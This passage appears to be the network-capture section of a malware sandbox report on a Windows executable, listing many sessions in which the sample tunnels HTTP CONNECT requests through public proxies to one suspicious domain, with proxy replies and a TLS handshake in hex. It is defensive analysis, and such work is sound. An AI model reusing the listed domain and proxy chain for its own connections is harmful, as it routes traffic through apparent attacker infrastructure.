236	192.168.2.11	50681	170.81.108.46	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.505780935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.11	50835	66.225.246.238	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.505876064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.667197943 CET	731	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.11	50773	134.209.29.120	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.508346081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.11	50723	35.199.90.225	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.510283947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.172859907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.110397100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.985893011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.11	50784	46.35.9.110	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.514838934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.11	49890	103.147.247.79	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.522232056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.041062117 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.11	50846	104.16.241.204	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.527403116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.681915998 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.11	50712	103.84.177.27	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.528798103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.235367060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.923248053 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.11	50806	89.31.143.12	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.545418978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.856338978 CET	307	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: UD Forwarding 3.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.11	50781	168.205.217.37	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.548568010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.11	50828	72.210.221.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.559508085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.11	50760	91.241.217.58	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.567544937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.11	50747	65.1.244.232	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.586338043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.971628904 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:19.972120047 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5b 8c c9 a0 2b fe a8 ad e6 39 e0 d3 59 89 be a2 f3 0c b8 23 ea 86 af 6b 9c da 83 33 5a 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&[+9Y#k3Z*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:20.358906031 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 8a c5 8b de 77 30 3c 23 4b 00 5b ab c7 f7 68 80 a9 64 d8 bf 1d f1 d2 14 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9w0<#K[hdDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311144734Z260311144734Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:20.430799007 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 e1 ff 27 6f 80 cf 2c 61 6d 73 cc 30 02 d6 61 80 1b 64 5c 58 e4 92 bb 53 6d f7 92 52 e2 cb 71 76 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 06 23 f9 00 7f 3b 1e 14 de db 08 6d 04 29 d9 7a 2f 49 f8 c5 56 Data Ascii: %! 'o,ams0ad\XSmRqv(#;m)z/IVt,
Mar 11, 2024 16:42:20.813287973 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 d2 3b 21 24 cd 8f 33 30 11 dc a4 e0 56 65 ad d7 4b 52 24 d3 94 c3 f0 89 f6 4d a8 75 0b 7b f5 06 f4 74 68 49 5a f3 30 79 Data Ascii: (;!$30VeKR$Mu{thIZ0y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.11	50839	174.77.111.197	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.615878105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.11	50003	92.204.134.38	28695	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.626668930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.641868114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735797882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.735807896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.11	50809	115.96.208.124	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.630966902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.025450945 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.11	50005	191.103.219.225	48612	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.631236076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688704014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.11	50833	58.234.116.197	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.632633924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.297842979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.11	49968	51.15.242.202	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.638416052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688704014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.982925892 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.21.6 Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.21.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.11	50310	142.54.229.249	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.643743992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.11	50836	147.75.34.86	10003	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.646306992 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:19.947591066 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.11	50885	23.95.209.142	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.646559000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.11	50830	193.239.56.84	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.657902002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.11	49791	64.227.108.25	31908	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.661326885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.11	49980	37.187.77.58	59870	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.667058945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.688739061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.690423965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.689088106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.11	50831	138.36.150.16	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.669765949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

